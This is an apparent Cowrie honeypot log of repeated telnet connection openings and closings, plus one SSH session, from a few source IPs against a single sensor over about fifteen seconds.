{"eventid":"cowrie.session.closed","duration":31.09450626373291,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:04.996029Z","src_ip":"164.68.122.45","session":"a3c5d427b5d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.676700830459595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:05.227569Z","src_ip":"199.231.212.75","session":"cec06c549f75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.57633328437805,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:05.550564Z","src_ip":"164.68.122.45","session":"02df5312ac0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:05.646211Z","src_ip":"80.94.92.168","session":"9d448e460306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.54921054840088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:06.061894Z","src_ip":"199.231.212.75","session":"15b58544f05f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52754,"dst_ip":"10.17.0.5","dst_port":23,"session":"7371084f2edd","protocol":"telnet","message":"New connection: 164.68.122.45:52754 (10.17.0.5:23) [session: 7371084f2edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:06.308561Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52770,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec9213ce2bbe","protocol":"telnet","message":"New connection: 164.68.122.45:52770 (10.17.0.5:23) [session: ec9213ce2bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:06.348423Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52772,"dst_ip":"10.17.0.5","dst_port":23,"session":"e13aae252596","protocol":"telnet","message":"New connection: 164.68.122.45:52772 (10.17.0.5:23) [session: e13aae252596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:07.563308Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":49212,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba9419e74929","protocol":"telnet","message":"New connection: 199.231.212.75:49212 (10.17.0.5:23) [session: ba9419e74929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:07.742100Z"}
{"eventid":"cowrie.session.closed","duration":31.165952444076538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:07.872119Z","src_ip":"199.231.212.75","session":"8a1a646224e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.059839010238647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:07.964782Z","src_ip":"199.231.212.75","session":"81c1d49b5730","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":49218,"dst_ip":"10.17.0.5","dst_port":23,"session":"6426f737e140","protocol":"telnet","message":"New connection: 199.231.212.75:49218 (10.17.0.5:23) [session: 6426f737e140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:08.308873Z"}
{"eventid":"cowrie.session.closed","duration":31.436193466186523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:08.519170Z","src_ip":"199.231.212.75","session":"4c7ef53b8069","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.12208104133606,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:08.525545Z","src_ip":"174.138.46.234","session":"ceb5c39385ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.708033084869385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:08.678458Z","src_ip":"164.68.122.45","session":"53dff332e1e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52778,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6b25e1aada5","protocol":"telnet","message":"New connection: 164.68.122.45:52778 (10.17.0.5:23) [session: b6b25e1aada5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:08.964880Z"}
{"eventid":"cowrie.session.closed","duration":31.14893937110901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:09.121397Z","src_ip":"164.68.122.45","session":"980171cd2c2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":49234,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1c6b32af771","protocol":"telnet","message":"New connection: 199.231.212.75:49234 (10.17.0.5:23) [session: f1c6b32af771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:09.347053Z"}
{"eventid":"cowrie.session.closed","duration":31.40800404548645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:09.502044Z","src_ip":"199.231.212.75","session":"05fb335478cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37274,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb56df58c027","protocol":"telnet","message":"New connection: 164.68.122.45:37274 (10.17.0.5:23) [session: cb56df58c027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:10.586489Z"}
{"eventid":"cowrie.session.closed","duration":31.288925409317017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:10.615497Z","src_ip":"164.68.122.45","session":"76bc78737ce0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37280,"dst_ip":"10.17.0.5","dst_port":23,"session":"eed8faa6a9a8","protocol":"telnet","message":"New connection: 164.68.122.45:37280 (10.17.0.5:23) [session: eed8faa6a9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:10.652532Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":33404,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6abb27ff3ef","protocol":"telnet","message":"New connection: 86.120.107.100:33404 (10.17.0.5:23) [session: e6abb27ff3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:10.904727Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33758,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad9e9cf0c646","protocol":"telnet","message":"New connection: 199.231.212.75:33758 (10.17.0.5:23) [session: ad9e9cf0c646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:10.932687Z"}
{"eventid":"cowrie.session.closed","duration":30.353574991226196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:11.226568Z","src_ip":"199.231.212.75","session":"4b4df71d0265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33770,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c0aac8320e8","protocol":"telnet","message":"New connection: 199.231.212.75:33770 (10.17.0.5:23) [session: 5c0aac8320e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:11.367927Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37284,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e0f24fd08fa","protocol":"telnet","message":"New connection: 164.68.122.45:37284 (10.17.0.5:23) [session: 0e0f24fd08fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:11.374346Z"}
{"eventid":"cowrie.session.closed","duration":30.615323305130005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:11.541754Z","src_ip":"199.231.212.75","session":"6c32952b314e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33786,"dst_ip":"10.17.0.5","dst_port":23,"session":"246a5a4c9c6a","protocol":"telnet","message":"New connection: 199.231.212.75:33786 (10.17.0.5:23) [session: 246a5a4c9c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:11.687171Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33788,"dst_ip":"10.17.0.5","dst_port":23,"session":"85b2ac7bf1f6","protocol":"telnet","message":"New connection: 199.231.212.75:33788 (10.17.0.5:23) [session: 85b2ac7bf1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:11.768660Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33792,"dst_ip":"10.17.0.5","dst_port":23,"session":"332cfd3acd14","protocol":"telnet","message":"New connection: 199.231.212.75:33792 (10.17.0.5:23) [session: 332cfd3acd14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:11.932533Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33794,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccb52a704687","protocol":"telnet","message":"New connection: 199.231.212.75:33794 (10.17.0.5:23) [session: ccb52a704687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:12.160605Z"}
{"eventid":"cowrie.session.closed","duration":31.256001234054565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:12.242125Z","src_ip":"164.68.122.45","session":"a9d6fa747906","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37288,"dst_ip":"10.17.0.5","dst_port":23,"session":"71b6917b410e","protocol":"telnet","message":"New connection: 164.68.122.45:37288 (10.17.0.5:23) [session: 71b6917b410e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:12.621976Z"}
{"eventid":"cowrie.session.closed","duration":31.4515438079834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:12.655763Z","src_ip":"199.231.212.75","session":"21ded6cf6169","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37300,"dst_ip":"10.17.0.5","dst_port":23,"session":"e19ebc60e5f3","protocol":"telnet","message":"New connection: 164.68.122.45:37300 (10.17.0.5:23) [session: e19ebc60e5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:13.119025Z"}
{"eventid":"cowrie.session.closed","duration":30.74211096763611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:13.185027Z","src_ip":"199.231.212.75","session":"00acfb729b7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33798,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5087fea5fef","protocol":"telnet","message":"New connection: 199.231.212.75:33798 (10.17.0.5:23) [session: f5087fea5fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:13.310706Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33804,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ce8f069a69e","protocol":"telnet","message":"New connection: 199.231.212.75:33804 (10.17.0.5:23) [session: 0ce8f069a69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:13.390040Z"}
{"eventid":"cowrie.session.closed","duration":31.385776042938232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:13.433911Z","src_ip":"199.231.212.75","session":"5ca0957de9ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60067582130432,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:13.458966Z","src_ip":"199.231.212.75","session":"d475f1f18bf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.150020837783813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:13.744967Z","src_ip":"164.68.122.45","session":"31da9ba3b860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.747218370437622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:14.092256Z","src_ip":"86.120.107.100","session":"7ed8cc258a0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33818,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5e6befd8a76","protocol":"telnet","message":"New connection: 199.231.212.75:33818 (10.17.0.5:23) [session: f5e6befd8a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:14.335787Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33832,"dst_ip":"10.17.0.5","dst_port":23,"session":"69ecb8c787fd","protocol":"telnet","message":"New connection: 199.231.212.75:33832 (10.17.0.5:23) [session: 69ecb8c787fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:14.495199Z"}
{"eventid":"cowrie.session.closed","duration":31.289063215255737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:14.599497Z","src_ip":"164.68.122.45","session":"289fe399f7d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33842,"dst_ip":"10.17.0.5","dst_port":23,"session":"95483b734b10","protocol":"telnet","message":"New connection: 199.231.212.75:33842 (10.17.0.5:23) [session: 95483b734b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:14.818840Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33858,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2c1c0ac8561","protocol":"telnet","message":"New connection: 199.231.212.75:33858 (10.17.0.5:23) [session: e2c1c0ac8561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:14.880131Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33862,"dst_ip":"10.17.0.5","dst_port":23,"session":"31d4256f3506","protocol":"telnet","message":"New connection: 199.231.212.75:33862 (10.17.0.5:23) [session: 31d4256f3506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:14.919439Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37314,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffcc6594bab5","protocol":"telnet","message":"New connection: 164.68.122.45:37314 (10.17.0.5:23) [session: ffcc6594bab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:15.159918Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33876,"dst_ip":"10.17.0.5","dst_port":23,"session":"99d155981d56","protocol":"telnet","message":"New connection: 199.231.212.75:33876 (10.17.0.5:23) [session: 99d155981d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:15.203020Z"}
{"eventid":"cowrie.session.closed","duration":31.356212854385376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:15.424071Z","src_ip":"164.68.122.45","session":"13e839eb4660","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060598611831665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:15.515131Z","src_ip":"199.231.212.75","session":"19a29268f46f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.251596689224243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:15.607879Z","src_ip":"164.68.122.45","session":"dcfbe762acf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.075296878814697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:15.615416Z","src_ip":"164.68.122.45","session":"8e7e7bc88d8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11833691596985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:15.654743Z","src_ip":"164.68.122.45","session":"f99bb856a460","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091834545135498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:15.754398Z","src_ip":"199.231.212.75","session":"799869e7cd7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":51854,"dst_ip":"10.17.0.5","dst_port":23,"session":"25e8e8b86c1e","protocol":"telnet","message":"New connection: 86.120.107.100:51854 (10.17.0.5:23) [session: 25e8e8b86c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:16.034380Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37326,"dst_ip":"10.17.0.5","dst_port":23,"session":"40cd1d3fd994","protocol":"telnet","message":"New connection: 164.68.122.45:37326 (10.17.0.5:23) [session: 40cd1d3fd994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:16.155547Z"}
{"eventid":"cowrie.session.closed","duration":30.480010986328125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:16.172069Z","src_ip":"199.231.212.75","session":"4196c9ba5e40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37330,"dst_ip":"10.17.0.5","dst_port":23,"session":"aee0f3d56ce8","protocol":"telnet","message":"New connection: 164.68.122.45:37330 (10.17.0.5:23) [session: aee0f3d56ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:16.239896Z"}
{"eventid":"cowrie.session.closed","duration":30.470425844192505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:16.362343Z","src_ip":"199.231.212.75","session":"ece8ddede475","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33880,"dst_ip":"10.17.0.5","dst_port":23,"session":"4759c25a62c0","protocol":"telnet","message":"New connection: 199.231.212.75:33880 (10.17.0.5:23) [session: 4759c25a62c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:16.517315Z"}
{"eventid":"cowrie.session.closed","duration":31.294312715530396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:16.524429Z","src_ip":"164.68.122.45","session":"14e9978de731","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":51866,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba620621a608","protocol":"telnet","message":"New connection: 86.120.107.100:51866 (10.17.0.5:23) [session: ba620621a608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:16.669171Z"}
{"eventid":"cowrie.session.closed","duration":31.062618255615234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:16.773327Z","src_ip":"164.68.122.45","session":"d1787ea9177a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.336043119430542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:16.903484Z","src_ip":"199.231.212.75","session":"744bf0621da2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33886,"dst_ip":"10.17.0.5","dst_port":23,"session":"68ad570437d6","protocol":"telnet","message":"New connection: 199.231.212.75:33886 (10.17.0.5:23) [session: 68ad570437d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:17.206809Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33890,"dst_ip":"10.17.0.5","dst_port":23,"session":"6877bcee3895","protocol":"telnet","message":"New connection: 199.231.212.75:33890 (10.17.0.5:23) [session: 6877bcee3895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:17.281863Z"}
{"eventid":"cowrie.session.closed","duration":30.927432775497437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:17.316822Z","src_ip":"164.68.122.45","session":"ffcbfc852d2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.431899785995483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:17.471908Z","src_ip":"199.231.212.75","session":"8569406ca6e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37338,"dst_ip":"10.17.0.5","dst_port":23,"session":"916618e8524f","protocol":"telnet","message":"New connection: 164.68.122.45:37338 (10.17.0.5:23) [session: 916618e8524f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:17.507241Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33904,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd25553beb9a","protocol":"telnet","message":"New connection: 199.231.212.75:33904 (10.17.0.5:23) [session: dd25553beb9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:17.580420Z"}
{"eventid":"cowrie.session.closed","duration":31.172244548797607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:17.691275Z","src_ip":"164.68.122.45","session":"0e47171c67dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37354,"dst_ip":"10.17.0.5","dst_port":23,"session":"1764840273e5","protocol":"telnet","message":"New connection: 164.68.122.45:37354 (10.17.0.5:23) [session: 1764840273e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:17.732035Z"}
{"eventid":"cowrie.session.closed","duration":31.16595721244812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:17.766512Z","src_ip":"199.231.212.75","session":"7b73fecd84f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43487238883972,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:18.029912Z","src_ip":"164.68.122.45","session":"7085b74779c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.533191919326782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:18.375526Z","src_ip":"164.68.122.45","session":"b28753f82e12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37360,"dst_ip":"10.17.0.5","dst_port":23,"session":"81fcbc39e486","protocol":"telnet","message":"New connection: 164.68.122.45:37360 (10.17.0.5:23) [session: 81fcbc39e486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:18.651009Z"}
{"eventid":"cowrie.session.closed","duration":31.261946201324463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:18.703376Z","src_ip":"199.231.212.75","session":"362c1918c17e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63912844657898,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:18.759535Z","src_ip":"199.231.212.75","session":"234f0921fe0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33920,"dst_ip":"10.17.0.5","dst_port":23,"session":"22a448187db0","protocol":"telnet","message":"New connection: 199.231.212.75:33920 (10.17.0.5:23) [session: 22a448187db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:18.971170Z"}
